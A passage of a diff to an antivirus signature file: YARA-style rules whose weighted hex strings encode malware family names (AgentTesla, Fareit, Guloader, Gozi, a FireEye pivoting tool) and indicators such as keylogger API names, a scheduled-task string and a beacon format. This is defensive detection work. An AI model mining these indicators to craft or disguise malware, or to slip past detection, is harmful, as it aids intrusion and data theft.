77 6d 70 44 6b 34 4b 64 37 70 4a 51 5a 67 6a 4e 70 6c 69 39 5a 50 46 36 5a 4c 49 51 67 63 4c 76 71 64 4e 31 76 6c 59 38 4e 70 4a 4d 31 68 53 59 39 6c 33 6f 32 48 57 66 49 53 56 47 38 69 4e 54 70 4c 42 } //27247 - $a_41_4 = {00 18 01 6d 38 65 47 36 77 6c 38 35 36 46 38 6a 50 4d 68 4d 41 52 51 39 65 74 51 01 00 1f 01 45 6d 2f 66 45 34 37 43 6c 43 75 32 36 33 6c 77 57 49 50 65 33 47 41 53 6c 65 4c 42 63 2f 45 01 00 0b 01 41 6e 74 69 2d 56 54 2e 65 78 65 01 00 13 01 43 6f 6e 66 75 73 65 64 42 79 41 74 74 72 69 62 75 74 65 01 00 0c 01 61 65 39 63 65 64 } //26981 - $a_31_5 = {31 00 00 78 ef 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 72 65 69 74 2e 52 54 21 4d 54 42 00 01 00 36 81 01 53 79 73 74 } //12854 - $a_43_6 = {72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 4b 65 79 62 6f 61 72 64 20 4c 61 79 6f 75 74 73 5c 25 2e 38 78 01 00 26 81 01 65 63 56 77 77 76 64 35 63 6a 77 4a 75 6b 30 4c 46 61 35 59 54 68 43 54 4d 4f 79 37 69 56 6b 78 69 79 2e 64 6c 6c 01 00 15 81 } //28005 + $a_32_2 = {32 34 35 2e 31 34 32 2e 33 35 2f 39 39 30 2e 62 6d 70 01 00 0c 81 01 4d 7a 64 73 74 68 6b 65 6b 6f 75 79 00 00 78 ef 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 54 72 } //12591 + $a_6e_3 = {57 69 6e 33 32 2f 46 61 72 65 69 74 2e 52 54 21 4d 54 42 00 01 00 36 81 01 53 79 73 74 65 6d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 4b 65 79 62 6f 61 72 64 20 4c 61 79 6f 75 74 73 5c 25 2e 38 78 01 00 26 81 01 65 63 56 77 77 76 64 35 63 6a 77 4a 75 } //27247 + $a_46_4 = {35 59 54 68 43 54 4d 4f 79 37 69 56 6b 78 69 79 2e 64 6c 6c 01 00 15 81 01 47 65 74 4b 65 79 62 6f 61 72 64 4c 61 79 6f 75 74 4c 69 73 74 01 00 0f 81 01 47 65 74 4b 65 79 4e 61 6d 65 54 65 78 74 41 01 00 09 81 01 47 65 74 43 50 } //12395 + $a_6f_5 = {00 0d 81 01 47 65 74 53 79 73 74 65 6d 49 6e 66 6f 01 00 0d 81 01 50 61 73 73 77 6f 72 64 43 68 61 72 58 00 00 78 ef 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 59 32 56 3a 46 69 72 65 45 79 65 2f 48 61 63 6b 54 6f 6f 6c 5f 4d 53 49 4c 5f 53 68 61 72 50 69 76 6f 74 5f 32 00 01 00 07 01 63 6f 73 74 75 72 61 } //28233 + $a_01_6 = {63 00 6d 00 64 00 5f 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 } //1 cmd_schtask condition: - ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*25162+(#a_32_2 & 1)*12591+(#a_6e_3 & 1)*27247+(#a_41_4 & 1)*26981+(#a_31_5 & 1)*12854+(#a_43_6 & 1)*28005) >=6 + ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*25162+(#a_32_2 & 1)*12591+(#a_6e_3 & 1)*27247+(#a_46_4 & 1)*12395+(#a_6f_5 & 1)*28233+(#a_01_6 & 1)*1) >=6 } -rule _InfrastructureShared_15550{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 61 7a 79 2e 4d 42 57 4a 21 4d 54 42 00 02 00 4e 01 6c 52 6c 57 54 6d 5a 77 6d 70 44 6b 34 4b 64 37 70 4a 51 5a 67 6a 4e 70 6c 69 39 5a 50 46 36 5a 4c 49 51 67 63 4c 76 } //21539 - $a_31_1 = {6c 59 38 4e 70 4a 4d 31 68 53 59 39 6c 33 6f 32 48 57 66 49 53 56 47 38 69 4e 54 70 4c 42 65 69 6e 41 01 00 18 01 6d 38 65 47 36 77 6c 38 35 36 46 38 6a 50 4d 68 4d 41 52 51 39 65 74 51 01 00 1f 01 45 6d 2f 66 45 34 37 43 6c 43 75 32 } //25713 - $a_77_2 = {49 50 65 33 47 41 53 6c 65 4c 42 63 2f 45 01 00 0b 01 41 6e 74 69 2d 56 54 2e 65 78 65 01 00 13 01 43 6f 6e 66 75 73 65 64 42 79 41 74 74 72 69 62 75 74 65 01 00 0c 01 61 65 39 63 65 64 36 32 37 31 63 31 00 00 78 ef 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 72 65 69 74 2e 52 54 } //13110 - $a_42_3 = {01 00 36 81 01 53 79 73 74 65 6d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 4b 65 79 62 6f 61 72 64 20 4c 61 79 6f 75 74 73 5c 25 2e 38 78 01 00 26 81 01 65 63 56 77 77 76 64 35 63 6a 77 4a 75 6b 30 4c 46 61 35 59 } //19745 - $a_54_4 = {4f 79 37 69 56 6b 78 69 79 2e 64 6c 6c 01 00 15 81 01 47 65 74 4b 65 79 62 6f 61 72 64 4c 61 79 6f 75 74 4c 69 73 74 01 00 0f 81 01 47 65 74 4b 65 79 4e 61 6d 65 54 65 78 74 41 01 00 09 81 01 47 65 74 } //26708 - $a_6e_5 = {6f 01 00 0d 81 01 47 65 74 53 79 73 74 65 6d 49 6e 66 6f 01 00 0d 81 01 50 61 73 73 77 6f 72 64 43 68 61 72 58 00 00 78 ef 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 59 32 56 3a 46 69 72 65 45 79 65 2f 48 61 63 6b 54 6f } //20547 - condition: - ((#a_4c_0 & 1)*21539+(#a_31_1 & 1)*25713+(#a_77_2 & 1)*13110+(#a_42_3 & 1)*19745+(#a_54_4 & 1)*26708+(#a_6e_5 & 1)*20547) >=7 - -} -rule _InfrastructureShared_15551{ +rule _InfrastructureShared_16571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -180781,7 +192877,7 @@ rule _InfrastructureShared_15551{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28537+(#a_65_2 & 1)*29561+(#a_63_3 & 1)*3584+(#a_00_5 & 1)*119) >=7 } -rule _InfrastructureShared_15552{ +rule _InfrastructureShared_16572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -180795,7 +192891,7 @@ rule _InfrastructureShared_15552{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*3584+(#a_00_3 & 1)*119+(#a_00_5 & 1)*115+(#a_01_6 & 1)*1) >=7 } -rule _InfrastructureShared_15553{ +rule _InfrastructureShared_16573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -180811,7 +192907,7 @@ rule _InfrastructureShared_15553{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29801+(#a_00_2 & 1)*29541+(#a_73_3 & 1)*21249+(#a_50_4 & 1)*25927+(#a_41_5 & 1)*21249+(#a_75_6 & 1)*29541) >=7 } -rule _InfrastructureShared_15554{ +rule _InfrastructureShared_16574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -180827,7 +192923,7 @@ rule _InfrastructureShared_15554{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*2048+(#a_49_2 & 1)*-32506+(#a_00_3 & 1)*27503+(#a_69_4 & 1)*26994+(#a_72_5 & 1)*28780+(#a_6e_6 & 1)*25710) >=7 } -rule _InfrastructureShared_15555{ +rule _InfrastructureShared_16575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -180843,7 +192939,7 @@ rule _InfrastructureShared_15555{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*29286+(#a_6e_2 & 1)*29289+(#a_61_3 & 1)*30565+(#a_49_4 & 1)*25929+(#a_79_5 & 1)*27736+(#a_72_6 & 1)*29813) >=7 } -rule _InfrastructureShared_15556{ +rule _InfrastructureShared_16576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -180860,7 +192956,7 @@ rule _InfrastructureShared_15556{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28528+(#a_58_2 & 1)*22639+(#a_6c_3 & 1)*25711+(#a_50_4 & 1)*26723+(#a_00_5 & 1)*10+(#a_6e_6 & 1)*16961+(#a_73_7 & 1)*27748) >=8 } -rule _InfrastructureShared_15557{ +rule _InfrastructureShared_16577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 09 00 21 " @@ -180878,7 +192974,7 @@ rule _InfrastructureShared_15557{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28233+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_ef_4 & 1)*0+(#a_6f_5 & 1)*384+(#a_6e_6 & 1)*384+(#a_00_7 & 1)*101+(#a_73_8 & 1)*269) >=10 } -rule _InfrastructureShared_15558{ +rule _InfrastructureShared_16578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0d 00 21 " @@ -180899,7 +192995,7 @@ rule _InfrastructureShared_15558{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*28417+(#a_78_2 & 1)*11892+(#a_00_3 & 1)*114+(#a_65_5 & 1)*17665+(#a_74_6 & 1)*25961+(#a_00_7 & 1)*69+(#a_65_8 & 1)*23296+(#a_32_9 & 1)*12337+(#a_43_10 & 1)*4864+(#a_6f_11 & 1)*29555+(#a_4c_12 & 1)*28021) >=10 } -rule _InfrastructureShared_15559{ +rule _InfrastructureShared_16579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -180916,7 +193012,7 @@ rule _InfrastructureShared_15559{ ((#a_6f_0 & 1)*21539+(#a_65_1 & 1)*272+(#a_00_4 & 1)*109+(#a_00_5 & 1)*112+(#a_65_7 & 1)*23296+(#a_32_8 & 1)*12337+(#a_43_9 & 1)*4864+(#a_6f_10 & 1)*29555) >=11 } -rule _InfrastructureShared_15560{ +rule _InfrastructureShared_16580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 04 00 21 " @@ -180928,7 +193024,7 @@ rule _InfrastructureShared_15560{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101+(#a_4e_3 & 1)*18499) >=12 } -rule _InfrastructureShared_15561{ +rule _InfrastructureShared_16581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 09 00 21 " @@ -180946,7 +193042,7 @@ rule _InfrastructureShared_15561{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*87+(#a_6f_2 & 1)*17153+(#a_00_3 & 1)*25701+(#a_76_4 & 1)*18689+(#a_28_5 & 1)*-13779+(#a_00_6 & 1)*10758+(#a_6c_7 & 1)*21050+(#a_00_8 & 1)*25709) >=15 } -rule _InfrastructureShared_15562{ +rule _InfrastructureShared_16582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 09 00 21 " @@ -180963,7 +193059,7 @@ rule _InfrastructureShared_15562{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*11526+(#a_80_2 & 1)*5+(#a_00_3 & 1)*5+(#a_00_4 & 1)*5+(#a_80_5 & 1)*10+(#a_ef_6 & 1)*0+(#a_00_7 & 1)*70) >=18 } -rule _InfrastructureShared_15563{ +rule _InfrastructureShared_16583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " @@ -180976,7 +193072,7 @@ rule _InfrastructureShared_15563{ ((#a_5f_0 & 1)*16931+(#a_69_1 & 1)*28+(#a_33_2 & 1)*25717+(#a_00_4 & 1)*118) >=20 } -rule _InfrastructureShared_15564{ +rule _InfrastructureShared_16584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -180988,7 +193084,7 @@ rule _InfrastructureShared_15564{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*97+(#a_00_2 & 1)*55) >=30 } -rule _InfrastructureShared_15565{ +rule _InfrastructureShared_16585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -180998,7 +193094,7 @@ rule _InfrastructureShared_15565{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_15566{ +rule _InfrastructureShared_16586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -181009,7 +193105,7 @@ rule _InfrastructureShared_15566{ ((#a_46_0 & 1)*16675+(#a_38_1 & 1)*14545) >=2 } -rule _InfrastructureShared_15567{ +rule _InfrastructureShared_16587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -181020,7 +193116,7 @@ rule _InfrastructureShared_15567{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101) >=2 } -rule _InfrastructureShared_15568{ +rule _InfrastructureShared_16588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -181030,7 +193126,7 @@ rule _InfrastructureShared_15568{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_15569{ +rule _InfrastructureShared_16589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -181041,7 +193137,18 @@ rule _InfrastructureShared_15569{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*4510) >=2 } -rule _InfrastructureShared_15570{ +rule _InfrastructureShared_16590{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 4e 49 54 46 21 4d 54 42 00 02 00 65 03 02 70 0b 06 28 90 01 01 00 00 0a 0c 28 90 01 01 00 00 0a 07 28 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 0d 08 09 28 90 01 01 00 00 06 13 } //21283 + $a_28_1 = {01 01 00 00 } //4356 + condition: + ((#a_46_0 & 1)*21283+(#a_28_1 & 1)*4356) >=3 + +} +rule _InfrastructureShared_16591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -181053,7 +193160,7 @@ rule _InfrastructureShared_15570{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*29296+(#a_47_2 & 1)*10496) >=3 } -rule _InfrastructureShared_15571{ +rule _InfrastructureShared_16592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -181063,7 +193170,7 @@ rule _InfrastructureShared_15571{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15572{ +rule _InfrastructureShared_16593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -181075,7 +193182,7 @@ rule _InfrastructureShared_15572{ ((#a_54_0 & 1)*18467+(#a_0a_1 & 1)*2560+(#a_18_2 & 1)*4364) >=3 } -rule _InfrastructureShared_15573{ +rule _InfrastructureShared_16594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -181087,7 +193194,7 @@ rule _InfrastructureShared_15573{ ((#a_46_0 & 1)*21283+(#a_17_1 & 1)*4127+(#a_0d_2 & 1)*2560) >=3 } -rule _InfrastructureShared_15574{ +rule _InfrastructureShared_16595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -181100,7 +193207,7 @@ rule _InfrastructureShared_15574{ ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*26956+(#a_35_2 & 1)*12338+(#a_00_3 & 1)*21581) >=4 } -rule _InfrastructureShared_15575{ +rule _InfrastructureShared_16596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -181112,7 +193219,7 @@ rule _InfrastructureShared_15575{ ((#a_46_0 & 1)*21283+(#a_89_1 & 1)*817+(#a_c1_2 & 1)*-4471) >=4 } -rule _InfrastructureShared_15576{ +rule _InfrastructureShared_16597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -181125,7 +193232,7 @@ rule _InfrastructureShared_15576{ ((#a_4c_0 & 1)*21539+(#a_83_1 & 1)*-252+(#a_2e_2 & 1)*25699+(#a_72_3 & 1)*15715) >=4 } -rule _InfrastructureShared_15577{ +rule _InfrastructureShared_16598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -181140,7 +193247,7 @@ rule _InfrastructureShared_15577{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*29557+(#a_6e_2 & 1)*11621+(#a_01_3 & 1)*30821+(#a_2f_4 & 1)*26988+(#a_54_5 & 1)*18490) >=4 } -rule _InfrastructureShared_15578{ +rule _InfrastructureShared_16599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -181156,7 +193263,7 @@ rule _InfrastructureShared_15578{ ((#a_41_0 & 1)*20515+(#a_6b_1 & 1)*3842+(#a_6c_2 & 1)*30032+(#a_46_3 & 1)*16675+(#a_00_4 & 1)*97+(#a_00_5 & 1)*284+(#a_53_6 & 1)*11891) >=4 } -rule _InfrastructureShared_15579{ +rule _InfrastructureShared_16600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -181169,23 +193276,47 @@ rule _InfrastructureShared_15579{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*97+(#a_00_2 & 1)*284+(#a_53_3 & 1)*11891) >=5 } -rule _InfrastructureShared_15580{ +rule _InfrastructureShared_16601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " strings : $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 57 65 61 74 68 65 72 41 6c 65 72 74 73 2e 4b 53 36 35 00 01 00 1b 80 01 44 65 73 6b 74 6f 70 57 65 61 74 68 65 72 41 6c 65 72 74 73 41 70 70 2e 65 78 65 01 00 17 80 01 44 65 73 6b 74 6f 70 57 65 61 } //16675 $a_72_1 = {6c 65 72 74 73 41 70 70 01 00 1d 80 01 44 65 73 6b 74 6f 70 57 65 61 74 68 65 72 41 6c 65 72 74 73 41 70 70 5f 4d 75 74 65 78 01 00 1a 80 01 66 72 6d 44 65 73 6b 74 6f 70 57 65 61 74 68 65 72 41 6c 65 72 74 73 41 70 70 01 00 22 80 01 44 65 73 6b 74 6f 70 57 65 61 74 68 65 72 41 6c 65 72 74 73 41 70 70 } //26740 - $a_6f_2 = {65 72 74 69 65 73 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 f0 00 00 07 00 07 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4b 56 33 30 36 21 4d 54 42 00 03 00 64 02 06 72 f1 01 00 70 6f 90 01 01 00 00 0a 74 90 01 01 } //20526 - $a_0b_3 = {73 } //0 s - $a_00_4 = {00 } //400 - $a_13_5 = {2b 34 16 13 07 2b 1f 07 11 06 11 07 6f 90 01 01 00 00 0a 13 08 08 } //3082 - $a_90_6 = {01 00 00 0a 6f 90 01 01 00 00 0a 11 07 17 58 13 07 11 07 07 6f 90 01 01 00 00 0a 32 d7 11 06 17 58 13 06 11 06 07 6f 90 } //2066 + $a_6f_2 = {65 72 74 69 65 73 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 f0 00 00 06 00 06 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 48 42 21 4d 54 42 00 04 00 8e 03 11 02 20 00 01 00 00 6f 90 01 01 00 00 0a 38 00 00 00 00 11 02 11 00 6f 90 } //20526 + $a_00_4 = {00 00 11 02 6f 90 01 01 00 00 0a 13 03 38 } //14346 + $a_01_6 = {6f 90 01 01 00 00 0a 38 e4 ff ff ff 00 02 73 13 00 } //529 condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*26740+(#a_6f_2 & 1)*20526+(#a_0b_3 & 1)*0+(#a_00_4 & 1)*400+(#a_13_5 & 1)*3082+(#a_90_6 & 1)*2066) >=5 + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*26740+(#a_6f_2 & 1)*20526+(#a_00_4 & 1)*14346+(#a_01_6 & 1)*529) >=5 } -rule _InfrastructureShared_15581{ +rule _InfrastructureShared_16602{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 48 42 21 4d 54 42 00 04 00 8e 03 11 02 20 00 01 00 00 6f 90 01 01 00 00 0a 38 00 00 00 00 11 02 11 00 6f 90 01 01 00 00 0a 38 0e 00 00 00 11 02 } //21539 + $a_01_1 = {00 } //-28561 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-28561) >=6 + +} +rule _InfrastructureShared_16603{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 43 30 31 21 4d 54 42 00 01 00 27 81 01 62 72 75 64 67 6f 6d 6d 65 6e 73 20 64 69 73 6e 61 74 75 72 61 6c 69 73 61 74 69 6f 6e 20 6d 6f 64 75 6c 65 72 65 73 01 00 1f 81 01 70 72 69 6f 72 69 74 69 } //18467 + $a_67_1 = {5c 64 69 73 6b 6b 61 70 61 63 69 74 65 74 2e 68 74 6d 01 00 18 81 01 62 72 6f 6e 63 68 6f 72 72 68 61 67 69 61 5c 76 69 67 65 6e 64 65 73 5c 01 00 11 81 01 6d 75 6e 6a 65 65 74 5c 72 65 6c 73 74 2e 69 6e 69 01 00 17 81 01 6d 6f 75 74 68 61 62 6c 65 5c 6d 6f 6e 73 6f 6f 6e 61 6c 2e 7a 69 70 01 00 24 81 01 70 6f 6c 79 63 68 6f 74 } //26995 + $a_5c_2 = {71 75 61 77 6b 79 5c 45 6e 74 72 65 70 72 69 73 65 72 6e 65 73 31 30 00 00 78 f0 00 00 07 00 07 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4b 56 33 30 36 21 4d 54 42 00 03 00 64 02 06 72 f1 01 00 70 6f 90 01 01 00 00 0a 74 90 01 01 00 00 01 0b 73 90 01 01 00 00 0a 0c 16 13 06 2b 34 16 13 07 2b 1f 07 } //28015 + $a_07_3 = {6f 90 01 01 00 00 0a 13 08 08 12 08 28 90 01 01 00 } //1553 + $a_90_4 = {01 00 00 0a 11 07 17 58 13 07 11 07 07 6f 90 01 01 00 00 0a 32 d7 11 06 17 58 13 06 11 06 07 6f 90 00 01 00 06 81 01 42 69 74 6d 61 70 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 2b 81 01 4f 50 4e 31 4c 57 5f 76 31 2e 5f 31 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 } //2560 + $a_01_5 = {53 70 6c 69 74 00 00 78 f0 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 6f 7a 69 2e 47 41 21 4d 54 42 00 01 00 59 80 01 74 79 70 65 3d 25 75 26 73 6f 66 74 3d 25 75 26 76 65 72 73 69 6f 6e 3d 25 75 26 75 73 65 72 3d 25 30 38 78 25 30 38 78 25 30 38 78 25 30 38 78 26 67 72 6f 75 70 3d 25 75 26 69 64 3d 25 78 26 61 72 63 3d 25 75 26 63 72 63 3d 25 } //1280 + condition: + ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*26995+(#a_5c_2 & 1)*28015+(#a_07_3 & 1)*1553+(#a_90_4 & 1)*2560+(#a_01_5 & 1)*1280) >=6 + +} +rule _InfrastructureShared_16604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 21 " @@ -181197,7 +193328,7 @@ rule _InfrastructureShared_15581{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28423+(#a_3a_4 & 1)*19521) >=7 } -rule _InfrastructureShared_15582{ +rule _InfrastructureShared_16605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -181213,7 +193344,7 @@ rule _InfrastructureShared_15582{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*30776+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1) >=7 } -rule _InfrastructureShared_15583{ +rule _InfrastructureShared_16606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -181228,7 +193359,7 @@ rule _InfrastructureShared_15583{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*26731+(#a_79_2 & 1)*25197+(#a_72_3 & 1)*29788+(#a_74_5 & 1)*385+(#a_65_6 & 1)*29810) >=7 } -rule _InfrastructureShared_15584{ +rule _InfrastructureShared_16607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -181238,64 +193369,67 @@ rule _InfrastructureShared_15584{ $a_64_2 = {2e 69 6e 69 01 00 0d 81 01 73 74 61 74 75 65 72 6e 65 2e 69 6e 69 01 00 0b 81 01 77 6f 6c 6c 6f 63 6b 2e 69 6e 69 01 00 0e 81 01 75 72 72 65 6d 6d 65 6e 65 73 2e 6a 70 67 00 00 78 f0 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 54 45 53 54 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 54 56 4c 21 } //27499 $a_00_3 = {01 00 16 81 01 54 62 76 67 61 65 65 61 72 6a 63 2e 50 72 6f 70 65 72 74 69 65 73 01 00 25 81 01 24 65 31 39 63 30 65 33 36 2d 34 65 66 37 2d 34 61 66 61 2d 39 65 63 30 2d 32 32 32 63 35 65 37 33 61 } //21581 $a_01_4 = {00 0a 81 01 53 63 68 65 6d 61 53 70 65 63 01 00 17 81 01 50 64 66 53 68 61 72 70 2e 53 70 65 63 69 66 69 63 61 74 69 6f 6e 73 01 00 12 81 01 6d 6f 62 69 45 70 61 79 6a 2e 52 65 73 6f 6c 76 65 72 01 00 15 81 01 44 65 66 69 6e 65 44 79 6e 61 6d 69 63 41 73 73 65 6d 62 6c 79 01 00 0d 81 01 4d 65 } //12642 - $a_64_5 = {75 69 6c 64 65 72 01 00 0c 81 01 42 69 6e 61 72 79 52 65 61 64 65 72 00 00 78 f0 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4a 4b 32 34 39 21 4d 54 42 00 01 00 0b 81 01 43 61 65 73 61 72 53 68 69 66 74 01 00 05 81 01 53 70 6c 69 74 01 00 16 81 01 43 6f 6c } //26740 - $a_73_6 = {65 6d 65 73 74 65 72 50 72 6f 6a 65 63 74 01 00 25 81 01 24 34 31 62 66 34 31 63 66 2d 33 32 31 65 2d 34 65 36 65 2d 61 31 62 36 2d 39 32 32 31 30 38 65 64 35 65 31 35 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 09 81 01 51 75 61 6e 4c 79 42 61 6e 01 00 08 81 01 47 69 61 79 2e 43 43 4d 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 28 81 } //26988 - $a_6c_7 = {69 6e 73 53 65 6d 65 73 74 65 72 50 72 6f 6a 65 63 74 2e 66 72 6d 4d 61 69 6e 2e 72 65 73 6f 75 72 63 65 